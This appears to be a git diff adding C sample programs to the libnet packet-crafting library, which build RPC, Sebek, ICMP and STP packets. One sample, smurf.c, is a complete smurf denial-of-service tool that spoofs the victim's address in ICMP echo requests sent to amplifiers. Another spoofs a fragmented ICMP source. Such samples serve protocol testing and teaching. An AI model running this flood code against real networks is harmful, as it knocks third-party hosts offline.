+ libnet_toggle_checksum(l, icmp, 0);
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + len, /* length */
+ 0, /* TOS */
+ 666, /* IP ID */
+ flags | (offset >> 3), /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ fakesrc, /* source IP */
+ target, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ ip); /* libnet ptag */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ }
+
+ /* tcpdump-style jonks. */
+ printf("%s > %s: (frag 666:%d@%d%s)\n", libnet_addr2name4(fakesrc,0),
+ argv[1], LIBNET_ICMPV4_ECHO_H + len, offset, flags ? "+" : "");
+ }
+
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+ free(data);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ free(data);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/rpc_tcp.c b/libnet/sample/rpc_tcp.c
new file mode 100644
index 0000000..4a19b54
--- /dev/null
+++ b/libnet/sample/rpc_tcp.c
@@ -0,0 +1,214 @@
+/*
+ * $Id: rpc_tcp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * rpc_tcp.c - Build an RPC TCP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: RPC TCP[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ }
+ }
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_rpc_call(
+ LIBNET_RPC_LAST_FRAG | LIBNET_RPC_CALL_TCP_H,
+ 0x10e70082,
+ LIBNET_PMAP_PROGRAM,
+ 2,
+ LIBNET_PMAP_PROC_DUMP,
+ 0,
+ 0,
+ NULL,
+ 0,
+ 0,
+ NULL,
+ payload,
+ payload_s,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_ACK, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + 44 + payload_s, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + 44 + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte RPC TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/rpc_udp.c b/libnet/sample/rpc_udp.c
new file mode 100644
index 0000000..06f4b26
--- /dev/null
+++ b/libnet/sample/rpc_udp.c
@@ -0,0 +1,213 @@
+/*
+ * $Id: rpc_udp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an RPC UDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ libnet_ptag_t ip;
+ libnet_ptag_t udp;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: RPC + UDP + IP options[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ udp = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_rpc_call(
+ 0,
+ 0x10e70082,
+ 0x000186a0,
+ 2,
+ 4,
+ 0,
+ 0,
+ NULL,
+ 0,
+ 0,
+ NULL,
+ payload,
+ payload_s,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build RPC header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ udp = libnet_build_udp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ LIBNET_UDP_H + 40 +payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ udp); /* libnet id */
+ if (udp == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + 40 + payload_s + LIBNET_UDP_H, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip,
+ dst_ip,
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte RPC UDP packet; check the wire.\n", c);
+ }
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+/* EOF */
diff --git a/libnet/sample/sebek.c b/libnet/sample/sebek.c
new file mode 100644
index 0000000..de1674b
--- /dev/null
+++ b/libnet/sample/sebek.c
@@ -0,0 +1,299 @@
+/*
+ *
+ * libnet 1.1
+ * Build a Sebek packet
+ *
+ * Copyright (c) 2004 Frederic Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#if ((_WIN32) && !(__CYGWIN__))
+#include "../include/win32/config.h"
+#else
+#include "../include/config.h"
+#endif
+#endif
+#include "./libnet_test.h"
+
+void usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s [-D eth_dst] [-s source_ip] [-d destination_ip]"
+ "[-u UDP port] [-m magic] [-v version] [-t type] [-S sec] [-U usec] [-P PID] [-I UID] [-f FD] [-c cmd]"
+ " [-i iface] [-p payload]\n",
+ name);
+
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ int c, port = 1101;
+ libnet_t *l;
+ char *device = NULL;
+ char *eth_dst = "11:11:11:11:11:11";
+ char *dst = "2.2.2.2", *src = "1.1.1.1";
+ u_long src_ip, dst_ip;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ libnet_ptag_t ptag = 0;
+ u_char *payload = 0;
+ char payload_flag = 0;
+ u_long payload_s = 0;
+ unsigned int magic = 0x0defaced,
+ counter = 0x12345678,
+ sec = 0, usec = 0,
+ pid = 1,
+ uid = 666,
+ fd = 2;
+ char *cmd = "./h4ckw0r1D";
+ unsigned int length = strlen(cmd)+1;
+ unsigned short version = SEBEK_PROTO_VERSION, type = SEBEK_TYPE_READ;
+
+ printf("libnet 1.1 packet shaping: Sebek[link]\n");
+
+
+ /*
+ * handle options
+ */
+ while ((c = getopt(argc, argv, "D:d:s:u:m:v:t:S:U:P:I:f:c:p:i:h")) != EOF)
+ {
+ switch (c)
+ {
+ case 'D':
+ eth_dst = optarg;
+ break;
+ case 'd':
+ dst = optarg;
+ break;
+
+ case 's':
+ src = optarg;
+ break;
+
+ case 'i':
+ device = optarg;
+ break;
+
+ case 'u':
+ port = atoi(optarg);
+ break;
+
+ case 'm':
+ magic = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'v':
+ version = (unsigned short) strtoul(optarg, NULL, 10);
+ break;
+
+ case 't':
+ type = (unsigned short) strtoul(optarg, NULL, 10);
+ break;
+
+ case 'S':
+ sec = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'U':
+ usec = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'P':
+ pid = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'I':
+ uid = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'f':
+ fd = strtoul(optarg, NULL, 10);
+ break;
+
+ case 'c':
+ cmd = optarg;
+ length = strlen(cmd);
+ break;
+
+
+ case 'p':
+ payload_flag = 1;
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+
+ case 'h':
+ usage(argv[0]);
+ exit(EXIT_SUCCESS);
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ printf("Using device %s\n", l->device);
+
+ if (payload_flag)
+ {
+ memset(cmd, 0, sizeof(cmd));
+ memcpy(cmd, payload, (payload_s < 12 ? payload_s : 12));
+ length = payload_s;
+ }
+
+
+ if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", dst);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", src);
+ exit(EXIT_FAILURE);
+ }
+
+ if (!payload)
+ {
+ payload = cmd;
+ payload_s = length;
+ }
+
+
+ ptag = libnet_build_sebek(
+ magic,
+ version,
+ type,
+ counter,
+ sec,
+ usec,
+ pid,
+ uid,
+ fd,
+ cmd,
+ /* LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H +*/ length,
+ payload,
+ payload_s,
+ l,
+ 0
+ );
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build Sebek header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ptag = libnet_build_udp(
+ port, /* source port */
+ port, /* destination port */
+ LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ ptag = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_SEBEK_H + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+
+ eth_dst = libnet_hex_aton(eth_dst, &c);
+ ptag = libnet_autobuild_ethernet(
+ eth_dst, /* ethernet destination */
+ ETHERTYPE_IP, /* protocol type */
+ l); /* libnet handle */
+
+ free(eth_dst);
+ if (ptag == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n",
+ libnet_geterror(l));
+ goto bad;
+ }
+
+
+ /*
+ * write to the wire
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte Sebek packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+ bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+
+ return 0;
+}
diff --git a/libnet/sample/smurf.c b/libnet/sample/smurf.c
new file mode 100644
index 0000000..ccaebdc
--- /dev/null
+++ b/libnet/sample/smurf.c
@@ -0,0 +1,194 @@
+/*
+ * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build Smurf packets
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+void usage(char *);
+
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l = NULL;
+ u_long target_ip = 0, ampli_ip = 0;
+ u_long count = 10;
+ int i, c;
+ libnet_ptag_t t;
+
+ char *device = NULL;
+ char *pTarget = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char label[LIBNET_LABEL_SIZE];
+
+ printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");
+
+ while((c = getopt(argc, argv, "t:i:c:")) != EOF)
+ {
+ switch (c)
+ {
+ case 't':
+ pTarget = optarg;
+ break;
+ case 'i':
+ device = optarg;
+ break;
+ case 'c':
+ count = strtoul(optarg, 0, 10);
+ break;
+ }
+ }
+
+ if (optind == argc) {
+ fprintf(stderr, "No amplifier given.\n");
+ usage(argv[0]);
+ exit (EXIT_FAILURE);
+ }
+
+ if (!pTarget) {
+ fprintf(stdout, "No target given.\n");
+ usage(argv[0]);
+ exit (EXIT_FAILURE);
+ }
+
+ if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad target IP address: %s\n", pTarget);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Create a context for each amplifier */
+ for (i = 0; optind < argc; optind++) {
+
+ printf ("Adding amplifier %s\n", argv[optind]);
+
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);
+ exit(1);
+ }
+
+ /* build the packet */
+ t = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 0x42, /* id */
+ 0x42, /* sequence number */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
+ 0, /* TOS */
+ 0x42, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_ICMP, /* protocol */
+ 0, /* checksum */
+ target_ip, /* source IP */
+ ampli_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* and finally, put it in the arena */
+ snprintf(label, sizeof(label)-1, "echo%d", i);
+ if (libnet_cq_add(l, label) == -1)
+ {
+ fprintf(stderr, "add error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ } /* for (optind < argc) */
+
+
+ /* Attaaaaaaaaaack */
+ for_each_context_in_cq(l) {
+ /*
+ * Write it to the wire.
+ */
+ for (i = 0; i<count; i++) {
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
+ }
+ }
+ }
+
+
+ libnet_cq_destroy();
+ return (EXIT_SUCCESS);
+bad:
+ libnet_cq_destroy();
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);
+}
+
+/* EOF */
diff --git a/libnet/sample/stp.c b/libnet/sample/stp.c
new file mode 100644
index 0000000..16498b3
--- /dev/null
+++ b/libnet/sample/stp.c
@@ -0,0 +1,227 @@
+/*
+ * $Id: stp.c,v 1.3 2004/01/21 19:01:29 mike Exp $
+ *
+ * libnet 1.1
+ * Build an STP frame
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+#define CONF 1
+#define TCN 2
+
+int
+main(int argc, char *argv[])
+{
+ int c, len, type;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *dst, *src;
+ u_char rootid[8], bridgeid[8];
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: [STP]\n");
+
